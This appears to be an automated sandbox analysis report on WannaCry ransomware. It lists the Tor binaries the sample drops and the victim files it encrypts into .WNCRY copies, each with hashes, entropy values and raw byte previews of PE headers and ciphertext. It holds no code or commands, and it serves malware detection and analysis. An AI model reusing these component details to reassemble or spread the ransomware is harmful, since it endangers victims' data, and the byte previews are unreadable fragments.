                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!.....B...p...............`.....l.........................p......5(....@... .................................l....................................................................................................................text...X@.......B..................`.P`.data...8....`.......H..............@.0..rdata..<....p.......J..............@.`@.bss..................................`..edata...............Z..............@.0@.idata..l............f..............@.0..CRT....,............l..............@.0..tls.... ............n..............@.0..reloc...............p..............@.0B/4...................v..............@.@B/19.....Du.......v..................@..B/31....._o...p...p..................@..B/45..................l..............@..B/57.....|-...p......................@.0B/70.....J...........................@..B/81.................(..

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\libssp-0.dll

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):92599
                                                                                                                        Entropy (8bit):5.351249974009154
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:1536:pEiL38qIuOFcErNX5d0tRCZiBP2DrbjgpfM2ydbv:aiLsqIHFPpdiU2q
                                                                                                                        MD5:78581E243E2B41B17452DA8D0B5B2A48
                                                                                                                        SHA1:EAEFB59C31CF07E60A98AF48C5348759586A61BB
                                                                                                                        SHA-256:F28CAEBE9BC6AA5A72635ACB4F0E24500494E306D8E8B2279E7930981281683F
                                                                                                                        SHA-512:332098113CE3F75CB20DC6E09F0D7BA03F13F5E26512D9F3BEE3042C51FBB01A5E4426C5E9A5308F7F805B084EFC94C28FC9426CE73AB8DFEE16AB39B3EFE02A
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................!.........4...............0.....h................................<.....@... ......................`..i....p..................................@....................................................q...............................text...............................`.P`.data........0......."..............@.0..rdata..h....@.......$..............@.0@.bss.........P........................`..edata..i....`.......*..............@.0@.idata.......p.......,..............@.0..CRT....,............2..............@.0..tls.... ............4..............@.0..reloc..@............6..............@.0B/4...................:..............@.@B/19.....n|.......~...<..............@..B/31..........@......................@..B/45..........`......................@..B/57.....$...........................@.0B/70....."...........................@..B/81.....w...............

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\ssleay32.dll

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):711459
                                                                                                                        Entropy (8bit):5.884120014912355
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12288:hXhKnXI0Fkw80VEJtzwIA6Ouah6ESyrWlp36Z:thKnnkw80VEJtzwIAiazSxlFw
                                                                                                                        MD5:A12C2040F6FDDD34E7ACB42F18DD6BDC
                                                                                                                        SHA1:D7DB49F1A9870A4F52E1F31812938FDEA89E9444
                                                                                                                        SHA-256:BD70BA598316980833F78B05F7EEAEF3E0F811A7C64196BF80901D155CB647C1
                                                                                                                        SHA-512:FBE0970BCDFAA23AF624DAAD9917A030D8F0B10D38D3E9C7808A9FBC02912EE9DAED293DBDEA87AA90DC74470BC9B89CB6F2FE002393ECDA7B565307FFB7EC00
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........p..y .....!..............................@n......................... .......4....@... ......................0..m)...`...4......<.......................85..................................................,g...............................text...............................`.P`.data....-..........................@.`..rdata.......@.......0..............@.`@.bss....d.... ........................`..edata..m)...0...*..................@.0@.idata...4...`...6...6..............@.0..CRT....,............l..............@.0..tls.... ............n..............@.0..rsrc...<............p..............@.0..reloc..85.......6...v..............@.0B/4..................................@.@B/19.....n|... ...~..................@..B/31..................,..............@..B/45..................B..............@..B/57.....$............T..............@.0B/70....."............\..

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3098624
                                                                                                                        Entropy (8bit):6.512654975680739
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:49152:5m9/gUvHrLaQ4Dt4PC+3xhae2cQX7E5zNvQIJZW/1h4+o4:MiuLSDt2C+3baAQX7ETQIr+h4+o
                                                                                                                        MD5:FE7EB54691AD6E6AF77F8A9A0B6DE26D
                                                                                                                        SHA1:53912D33BEC3375153B7E4E68B78D66DAB62671A
                                                                                                                        SHA-256:E48673680746FBE027E8982F62A83C298D6FB46AD9243DE8E79B7E5A24DCD4EB
                                                                                                                        SHA-512:8AC6DC5BB016AFC869FCBB713F6A14D3692E866B94F4F1EE83B09A7506A8CB58768BD47E081CF6E97B2DACF9F9A6A8CA240D7D20D0B67DBD33238CC861DEAE8F
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Cm8..................#..D/..H............#...@.........................../......./...@... .............................. ...2..............................D]...........................p.......................'...............................text...t.#.......#.................`.P`.data.........#.......#.............@.`..rdata........$.......$.............@.`@.bss....`G....-.......................`..idata...2... ...4....-.............@.0..CRT....4....`........-.............@.0..tls.... ....p........-.............@.0..reloc..D].......^....-.............@.0B................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\tor.exe

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3098624
                                                                                                                        Entropy (8bit):6.512654975680739
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:49152:5m9/gUvHrLaQ4Dt4PC+3xhae2cQX7E5zNvQIJZW/1h4+o4:MiuLSDt2C+3baAQX7ETQIr+h4+o
                                                                                                                        MD5:FE7EB54691AD6E6AF77F8A9A0B6DE26D
                                                                                                                        SHA1:53912D33BEC3375153B7E4E68B78D66DAB62671A
                                                                                                                        SHA-256:E48673680746FBE027E8982F62A83C298D6FB46AD9243DE8E79B7E5A24DCD4EB
                                                                                                                        SHA-512:8AC6DC5BB016AFC869FCBB713F6A14D3692E866B94F4F1EE83B09A7506A8CB58768BD47E081CF6E97B2DACF9F9A6A8CA240D7D20D0B67DBD33238CC861DEAE8F
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Cm8..................#..D/..H............#...@.........................../......./...@... .............................. ...2..............................D]...........................p.......................'...............................text...t.#.......#.................`.P`.data.........#.......#.............@.`..rdata........$.......$.............@.`@.bss....`G....-.......................`..idata...2... ...4....-.............@.0..CRT....4....`........-.............@.0..tls.... ....p........-.............@.0..reloc..D].......^....-.............@.0B................................................................................................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Desktop\TaskData\Tor\zlib1.dll

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\@WanaDecryptor@.exe
                                                                                                                        File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):107520
                                                                                                                        Entropy (8bit):6.440165833134522
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:1536:NlN3sTKU7xniaO9ADje81EQ3aL8WNdUCqfRnToIfBoIONIOqbW+xCvETe:DpsmU7xaiDjeJL5qf5TBfgHqbdxCv6e
                                                                                                                        MD5:FB072E9F69AFDB57179F59B512F828A4
                                                                                                                        SHA1:FE71B70173E46EE4E3796DB9139F77DC32D2F846
                                                                                                                        SHA-256:66D653397CBB2DBB397EB8421218E2C126B359A3B0DECC0F31E297DF099E1383
                                                                                                                        SHA-512:9D157FECE0DC18AFE30097D9C4178AE147CC9D465A6F1D35778E1BFF1EFCA4734DD096E95D35FAEA32DA8D8B4560382338BA9C6C40F29047F1CC0954B27C64F8
                                                                                                                        Malicious:true
                                                                                                                        Antivirus:
                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#.....&...................@.....b......................... ...........@... .....................................................................................................................$................................text...d$.......&..................`.P`.data...X....@.......*..............@.0..rdata..pW...P...X...,..............@.`@.bss..................................`..edata..............................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...............................@.0..reloc..............................@.0B................................................................................................................................................................................................................................

                                                                                                                        C:\Users\user\Desktop\UOOJJOZIRH.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.8027739308492805
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:wRKXzNvOVS+p2rl3HhjAtHGCTq4Uvnv+Loxpmh+HHSl1g/a97po6:wYXz9OVXKBWtHGCDUHiFsHCht7
                                                                                                                        MD5:B54AE65B43374F6A7C3EC698354FCCF1
                                                                                                                        SHA1:74539155B8E52388F169BC2D218EADA609AC4492
                                                                                                                        SHA-256:222BADB481273BC8C927996CF78A9A7396DA7C73EE163D5FF4967E8AD2544AC1
                                                                                                                        SHA-512:F1D58A1B90F6097E03C127520EA7B973D37E3F0F342D4FB67E4E7FE803115C98F12551127F6DDA80E43A739B1FDB28196B9F4306D3E369EBCD524867A97163CE
                                                                                                                        Malicious:false
                                                                                                                        Preview:..}..z?....i..._4c..Y...../..x......x..l.W..d...(I.7..R9u......EY.P..3_....0..$..c..eW.A...I.h.G..F3.$DS0.r..r.....x...BJ..w........8?.jf..[. ESn}r.....6.x..B8..D.`........!.D........Q....kY....8.`'...Q.'..5$....#.j.:.].$....G7.u....*e.1....B.z.6(.hR.6..I..!...:b..[PE..h.f.......f....5...9..TL.[....0..bJ.....U.i..~.........>.E.w._...!mP.D.?..."..F.......-.AR."................<yx.}..0..q..h.q.j...6cV...?.....Z.....6`m%.H.q.2.Lj ..I.....S...2....R.,..L.J..>r.....D3.... .r.O..@.CC.,70...r.6...A..+K0..3...}.W2.H.L..@..HP......=...d".h.0...+..0?r. ..6.`Tq..9.*.\..@...Q.(.EJ..TkmO...H.]+9.(...T...Y........#{.......@..,.....^.g.W.&..l..nm..G.....Te..1.S..`.J./_I.?Q........i.BwA.~.....Ty...~......n.>....@...?....i]...g.......f..8......,..Cu.uA.j.]s."....i...c.1}>.<..9.k..l..3=./Pj.V..A.x._.....,L..x....S....u.g.Q...X..Wo(j..;..{.F5<T|=....GJ.v...U........#j[......Oj.*.@.../.....qq...,. ._.9......N[.MJ.pt..u..U...|bk...R.y.*.l%.`"....:...O

                                                                                                                        C:\Users\user\Desktop\UOOJJOZIRH.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847971836691391
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkIDaTBWkEHhl6bUGrWzE8GwwKAQTQSQvF29Kbb0HfP:bkgaTBWnCUEWzEFwwKx0SQvF29Kf0H
                                                                                                                        MD5:1AB31BF643856528FBDFE471F5BD7264
                                                                                                                        SHA1:9D318EA2CD1D052E94593D1D5E3F3B1D6D5D5B9B
                                                                                                                        SHA-256:54671475DF88573510F6989F14C75280C22B8C6AA58A2C5BFF1DA1FE89121CFA
                                                                                                                        SHA-512:B9AB3539A453BF61875A6DE5069EB66FEEBD7DF1AA13FC8DCDF23DA0E4E9FA3D9C6F5971621316180F9E33A4324D899C21943C2A75E1A6EFE045EEE587E1B896
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......Z2:g.=....F...$..(...S.L(.D..-.u.9....#.E....V....&.E..,X..b...T.....y..vd...B.........pe.....|5\.bD..c=a.1j..h...@l.F.V.e.|.F.....MA?.l..J.u....r.P2!?...w)4DH.I.?....f.o...9.E._..3.D.;. ...$...z|...l.....J.z..H0.`.......~M.1H.c....*.?..@.+...............m.A..=a%,....=&#.._q.:@.M.JP......D.:.=(....J.....W..$8Z..x....s.(H......6/$c.-N+M~F..#.V......`..^...Xg..1..c.5-.>.'SzK.....NC...S.T.R.....Z..o.sN.........*..J@...s..%.......&.iuO.L".....,Cr.28.MYJj...5?..'.,.........g...T...r.n.....9.......a..u.....O..u....[...SV.....](\.%a...(...W....M@..s'....O..AnE1.}..*o.T2..f..A.....c..%..&.)..".}mG'..PN.....4.....J..l..@.d... .........1......A..`uK.......`'A.[f.Z......Y..r.......K^./.Ek..r...l.kr.....$.6.;...+..f[..........Z_..].'k....w..y.......R.5....v..-..UV.:yUK..VJ..0K,<.9w}...@..X..*../.....v.Q...b...Uf.....+7....U....=9=R[)av..X...f.;?...~.Y+.L.4[...G.0.uLW..X...28...(.....1..-....z.f..c...7...'......N=.,.......L.,0.C.ON;.B.-..s

                                                                                                                        C:\Users\user\Desktop\UOOJJOZIRH.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.847971836691391
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkIDaTBWkEHhl6bUGrWzE8GwwKAQTQSQvF29Kbb0HfP:bkgaTBWnCUEWzEFwwKx0SQvF29Kf0H
                                                                                                                        MD5:1AB31BF643856528FBDFE471F5BD7264
                                                                                                                        SHA1:9D318EA2CD1D052E94593D1D5E3F3B1D6D5D5B9B
                                                                                                                        SHA-256:54671475DF88573510F6989F14C75280C22B8C6AA58A2C5BFF1DA1FE89121CFA
                                                                                                                        SHA-512:B9AB3539A453BF61875A6DE5069EB66FEEBD7DF1AA13FC8DCDF23DA0E4E9FA3D9C6F5971621316180F9E33A4324D899C21943C2A75E1A6EFE045EEE587E1B896
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......Z2:g.=....F...$..(...S.L(.D..-.u.9....#.E....V....&.E..,X..b...T.....y..vd...B.........pe.....|5\.bD..c=a.1j..h...@l.F.V.e.|.F.....MA?.l..J.u....r.P2!?...w)4DH.I.?....f.o...9.E._..3.D.;. ...$...z|...l.....J.z..H0.`.......~M.1H.c....*.?..@.+...............m.A..=a%,....=&#.._q.:@.M.JP......D.:.=(....J.....W..$8Z..x....s.(H......6/$c.-N+M~F..#.V......`..^...Xg..1..c.5-.>.'SzK.....NC...S.T.R.....Z..o.sN.........*..J@...s..%.......&.iuO.L".....,Cr.28.MYJj...5?..'.,.........g...T...r.n.....9.......a..u.....O..u....[...SV.....](\.%a...(...W....M@..s'....O..AnE1.}..*o.T2..f..A.....c..%..&.)..".}mG'..PN.....4.....J..l..@.d... .........1......A..`uK.......`'A.[f.Z......Y..r.......K^./.Ek..r...l.kr.....$.6.;...+..f[..........Z_..].'k....w..y.......R.5....v..-..UV.:yUK..VJ..0K,<.9w}...@..X..*../.....v.Q...b...Uf.....+7....U....=9=R[)av..X...f.;?...~.Y+.L.4[...G.0.uLW..X...28...(.....1..-....z.f..c...7...'......N=.,.......L.,0.C.ON;.B.-..s

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.788887220388727
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:jKsEiF4MSiw+GRWPhRDSsemH4oYn2hYZ8QnJa:jf+S8whS6Yn2hVQk
                                                                                                                        MD5:44EA3C1596C930B6019B2621ED8BE381
                                                                                                                        SHA1:AABA9600F8F84C69B04E329FF73E77BA614F73F7
                                                                                                                        SHA-256:50189A155475D76CFEBEB5EDE67F04A76A35EF26CD90EB88A0F0DB26B0471FBC
                                                                                                                        SHA-512:DE9FA530B1EDC7642BAF1FF10530C8A34F518DF32796E84B8C129431E64C8774DF1AB8763614B434F0887E31E4E29C0B689719CE1FA744C38377C60381500776
                                                                                                                        Malicious:false
                                                                                                                        Preview:.t.......B=..>....3|.x.....$.W).K.... ......Xx?k.....k..=...=mEXc.S......:..:i..B..?......=.[.M+...Q.,.n.x...1.M..{e.K..u..V..8..Lx.......D....s..5..i.E`....S.=l.y7......[..`..Z>L.q.zF.=j'e2(.;O(}m...V.-..I.K..Jo..=._....azo.V...2H2r.....L.3....}..@.R..[.@z.R.12....U1B.*..@(. .X..U.8=....d.d..]..ly.Rh...$.......(......W.Xy.\.9w&ar3`..T...G......P......d:..`}..2{.#O.if....../...d/..~.sa...d......Ep=.........3......gV:.cX.;/I.J..:.=R....s..s......|.. P....Os..~L..%....-.K..f.i......w..mi..TD$T.........K)@..x...2.(.7O.(4.......(..5.1.MZ.X..;..b..k..X...S.;.|..7s-C{.%)....T.2~..Hg...T..P.....L.f.h.u...T.La.{...`.=..:..D9......$.I...^..*Xd\..X._#.=....m...........Y..VAc.!..g..U.....h.....M..7.M{e..M....H.(.@.j....@H.:..@..o.g.I(}....8.W.r.^.....g|.jK.^...J$.{.8..a.:.w.tlu~m..+e..,...j.......chH...}.m....N....n........F<..Q._..?E.$.A.,g..|.. ..`.i#.....)..@....6@...F...d...."+...l.4...$|..L.)..#..+..`...'..C=.1.1.........m.Pz.lX.V. .l.......s/[

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.836624696533268
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkvua/PVsrNe+FXGjpo8SHYRfAQKWC/BwIoYN/ShgEL+OINF79gRyVNz0:bkvIIjK+nCmYkDLDgU9
                                                                                                                        MD5:D2566837D153BC464878361B9C5E000F
                                                                                                                        SHA1:4B1CF36A2159402C69D024E98E629E6C9F9E050C
                                                                                                                        SHA-256:B2EC7B4F3B15F3142C38DF644EA4AA0E1D67EB3156B6DCF210908FFC1C2DA74A
                                                                                                                        SHA-512:D30CB0295C46C8BD1963D9F4CF44989F1D9F6617D548D497D0C02106D6831F3FE8F1B9C334EBC719CB49B328F0D90FBCB3172981A02007856FD90F3E9E321D1D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........O...KX......I..Q_.G.$P.F.j$....#=e\B.s._..y.e.3..d.7.......N..{.e...r.P....S.t'..;).tqu..T.n..[........6.......k.,..[....36E.y.#H58...........r..@.I..RKY.u2^.9.m.Y./..C.#.J.O.Pah.?.B...)qZU;...SfI.....MaN...R..T] ....]....*I[t.2.5.....O.IFB!.`............lB...Q;...m ...9...U......,.[Q...g.....f....9......?E.&......i3v}.k.h..3..n.....4C.x.u...AT..Sq......nl...^ .t.&...\u..p..W/.A.......D5.s.^.oo.-l\..5ut._._..P_.mc......N......UA.Hov>a....NZ.4.H..ir..l.=.>.P9.C......>....-._;;....0.E0.x......E|....H......ZG.....5...E.q5.{...D.'s%]m.;/ZFP.._....*j2}7.K[....#D.P......q6......{S7..]..>....F_...#.7.n... .h......1..o......?.4T.D.V.JD.8.....v....I.zA.|~...fG.eK....R|..?k....zK.7...w..v..e...]...c2.....S.$.q..H;c....e.....F......4}aZ.5 ....Z.."..x~.f.. ,Rl.+~+..U.Z....C.&}-3.......)_....).K.G....V...!n..,..\.....@.......{..Cg...r4...$-@......|Us76j..%.i.,6g.He...:s`.j..z.g...Y0..t...W........P.H".}..$,.nu.0j|.3...~h...z.#..T.4..B.!D]..a.".

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.836624696533268
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkvua/PVsrNe+FXGjpo8SHYRfAQKWC/BwIoYN/ShgEL+OINF79gRyVNz0:bkvIIjK+nCmYkDLDgU9
                                                                                                                        MD5:D2566837D153BC464878361B9C5E000F
                                                                                                                        SHA1:4B1CF36A2159402C69D024E98E629E6C9F9E050C
                                                                                                                        SHA-256:B2EC7B4F3B15F3142C38DF644EA4AA0E1D67EB3156B6DCF210908FFC1C2DA74A
                                                                                                                        SHA-512:D30CB0295C46C8BD1963D9F4CF44989F1D9F6617D548D497D0C02106D6831F3FE8F1B9C334EBC719CB49B328F0D90FBCB3172981A02007856FD90F3E9E321D1D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........O...KX......I..Q_.G.$P.F.j$....#=e\B.s._..y.e.3..d.7.......N..{.e...r.P....S.t'..;).tqu..T.n..[........6.......k.,..[....36E.y.#H58...........r..@.I..RKY.u2^.9.m.Y./..C.#.J.O.Pah.?.B...)qZU;...SfI.....MaN...R..T] ....]....*I[t.2.5.....O.IFB!.`............lB...Q;...m ...9...U......,.[Q...g.....f....9......?E.&......i3v}.k.h..3..n.....4C.x.u...AT..Sq......nl...^ .t.&...\u..p..W/.A.......D5.s.^.oo.-l\..5ut._._..P_.mc......N......UA.Hov>a....NZ.4.H..ir..l.=.>.P9.C......>....-._;;....0.E0.x......E|....H......ZG.....5...E.q5.{...D.'s%]m.;/ZFP.._....*j2}7.K[....#D.P......q6......{S7..]..>....F_...#.7.n... .h......1..o......?.4T.D.V.JD.8.....v....I.zA.|~...fG.eK....R|..?k....zK.7...w..v..e...]...c2.....S.$.q..H;c....e.....F......4}aZ.5 ....Z.."..x~.f.. ,Rl.+~+..U.Z....C.&}-3.......)_....).K.G....V...!n..,..\.....@.......{..Cg...r4...$-@......|Us76j..%.i.,6g.He...:s`.j..z.g...Y0..t...W........P.H".}..$,.nu.0j|.3...~h...z.#..T.4..B.!D]..a.".

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:OpenPGP Secret Key Version 3
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.810215003088058
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:FpgcgmuG0MT0EpZTuUwdLTB9cGNYuaoAHFX8Rzvf0nHe0I19oG:Fpgj7AZC3nBOGNYHLHFozveHe0IgG
                                                                                                                        MD5:F377FC8DF1F16F478EEBBAB6F46D0E63
                                                                                                                        SHA1:5DE58E7D8446E3F1BDE1B72584E371065E817722
                                                                                                                        SHA-256:7E9081479392B6C1CF4590DE328FDEC466F97969E678C7A35B8215433BA81215
                                                                                                                        SHA-512:318BC0E4E9E0A26CAA751C92E33ABB8DE81B7B915529310FF4EF3CEEC0C7D768996766D485807448FFB828E7FA4B22530E9147F5C3216548401674C12C60BFF3
                                                                                                                        Malicious:false
                                                                                                                        Preview:.`.... ..{oy.$Xe..U\6<..uUm:.b.D[..5\..n..ii.[..Y270.Z..4.G^p+.NJ.&K.....B:.@h.K.K.R.d.g...'.p.Z.....[....bk[.n..r8......j.W..H(x....,.2RT..8.G.4..Z-....M..f. z..y.......b#...2..-_.gi.a@.........o.k...c......W..u....2,..w.Y.....S}..Ao;...<.F...]..q.O.z.-\.).I.}X...maS.K..IS(.I-.r.?...i..@@..o.:.......8..........n?#....0!...v..........$..r......6.<.....&r..ct....:......`h.U.......%5...A.e..L...xC/..I..q9_..?.syIJg.).."%Q.H.N.S.]-.l..:..M#.A._..s..H..px...H.7?R|..\.#.a......%....F.Fa..j..\.`.u.+..d..a...! '..K.n.h..h./......e...f.Pj...O...Ap .ed.......WT.T+.~.O..a.C%.qD'hW....sv.....V.1...A^.. .D..{...xD%...w.1.hS.. Y...............u...O..P..2..lX..0st..,...,a.+..b.,.x..m.n.......4..t.....Fw....n;h....JZ\....mM......>....../K.,....\..F...NP5.......)vN,..Q...i.....6...N.Oy.K&{...a.h..."{..6.*....G..U...W....."..h..5.....]..~..........b..h.J.-n.._..K...=....t.$.....X.%....;Y....e.......5.!5U..E..W.9\j.,^.W.^.j..(..a0......<fK...YWD.....k_

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.840840414674378
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkm2jcr2DuDgKJJS1Bl7/b+qrhJ+0iETIIXLyVAFQ8ycXHqlZaIjxVe:bkpciDucKwfXfrh7i6nLy6QSQVdY
                                                                                                                        MD5:5B10B5DF3418B1705CEA5AA4254F95BA
                                                                                                                        SHA1:D6545B617BCB925CD295D1FE849CF1FBE20E1E1B
                                                                                                                        SHA-256:C2345181EFF4FB720FD8D0DEEFD9319081333785E4EE2FFB50D7E80CAF67D410
                                                                                                                        SHA-512:35DA9648FAE6E303D9B242FAECA4B372C3E83D4B2B843EE1CADB4D68FAEAC1A24F5B544D4567440B909405F35AD2EC7FDF2F0141FFA9981D96DED8E61D544D70
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....T.}....Te?BE.;.\R...em..ag.].I.].W...}..3.=1;.....K.....?..W...R.9...$.>.`.zH..bO.y.1.w..KS.../8..B......Q.r.......r.cFU.e...........d.*....&BC+>.)a......K..=L.j/...r'.F{=6.._DP..x5L+..!__.ICu..5..\.T..6,!.~q+.?T,....QVX47CB..c.......Q-P.\.t.............?...a.-9.....nb3>.2HS.8.\"7AP...b~+V..8.M`...)R.R .x.{.....*F......h.g.+..v=.\....5/..b...1a.R....w.!".@...{.....x0..~&....l,.D\=.L.)..f%.Qp ..s.B...;...l....x...j'?.3..(W./..........:s.I..k...cA.R.0.A..~@l.....B.P]}Z3..a.H.&d..>..4.p...+...#....II.k...X.j....L....H.-.B5....q....U.|.....`x..GB...<..s.Q..~..g;.J.....yhk.=.68..fP.....e9.B.M...J.FY.I.Nh.......M,..W.."..RK.U6.v.R.j'.M.o'..........l.o.1..*..T....k\.D....z.G.o+.ft..E.,%$...D.S.?..W.TB..,,.....<..Z)..OD.......H..qA.i.xI.T.C.-$....f....P!.1.....c.~..).L.g..).......s...y!..u&.p.K...g....P..9.V"...g.....P.e.w...[A..X.tJ.y.@....:.U".$V....h_.j6U..c..S.......,....>.f..'.V....j...?.......,.Z.3...0.....B..7cJ..1.6P$....{..@.......

                                                                                                                        C:\Users\user\Desktop\VAMYDFPUND.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.840840414674378
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkm2jcr2DuDgKJJS1Bl7/b+qrhJ+0iETIIXLyVAFQ8ycXHqlZaIjxVe:bkpciDucKwfXfrh7i6nLy6QSQVdY
                                                                                                                        MD5:5B10B5DF3418B1705CEA5AA4254F95BA
                                                                                                                        SHA1:D6545B617BCB925CD295D1FE849CF1FBE20E1E1B
                                                                                                                        SHA-256:C2345181EFF4FB720FD8D0DEEFD9319081333785E4EE2FFB50D7E80CAF67D410
                                                                                                                        SHA-512:35DA9648FAE6E303D9B242FAECA4B372C3E83D4B2B843EE1CADB4D68FAEAC1A24F5B544D4567440B909405F35AD2EC7FDF2F0141FFA9981D96DED8E61D544D70
                                                                                                                        Malicious:false
